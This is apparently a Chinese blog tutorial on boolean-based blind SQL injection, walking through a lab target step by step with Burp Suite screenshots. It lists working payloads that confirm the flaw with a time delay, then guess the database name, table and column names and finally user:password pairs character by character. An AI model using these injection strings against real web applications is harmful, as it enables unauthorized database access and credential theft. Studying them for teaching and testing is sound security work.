【网络安全】SQL注入--布尔盲注

布尔类型盲注

    • 判断是否存在sql注入
    • 获取数据库名称
          • 1.判断数据库长度
          • 2.判断数据库名称
          • 3.判断表名
          • 4. 判断列名
          • 5. 获取账号密码

判断是否存在sql注入

输入内容

1' and sleep(5) -- 

返回结果存在5s延迟故存在sql注入漏洞

【网络安全】SQL注入--布尔盲注_第1张图片

获取数据库名称

使用说明

if(1>2,1,0) # 判断条件是否成立。成立返回1,不成立返回0
substring('abcd',1,3)  #截取字符串第一位开始的三个字符
1.判断数据库长度
1' and if(length(database())=4,1,0) -- 
2.判断数据库名称
1' and if(substring(database(),2,1)='v',1,0) -- 
# 截取数据库的第一位判断是否为d

burpsuite协助破解设置
【网络安全】SQL注入--布尔盲注_第2张图片
【网络安全】SQL注入--布尔盲注_第3张图片
【网络安全】SQL注入--布尔盲注_第4张图片
【网络安全】SQL注入--布尔盲注_第5张图片

3.判断表名
1' and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1),1,1)='g',1,0) -- 

使用burpsuite
【网络安全】SQL注入--布尔盲注_第6张图片
【网络安全】SQL注入--布尔盲注_第7张图片
【网络安全】SQL注入--布尔盲注_第8张图片
【网络安全】SQL注入--布尔盲注_第9张图片
【网络安全】SQL注入--布尔盲注_第10张图片

4. 判断列名
1' and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 1,1),1,1)='l',1,0) -- 
5. 获取账号密码
1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1),1,1)='a',1,0) -- 

你可能感兴趣的:(网络安全,sql)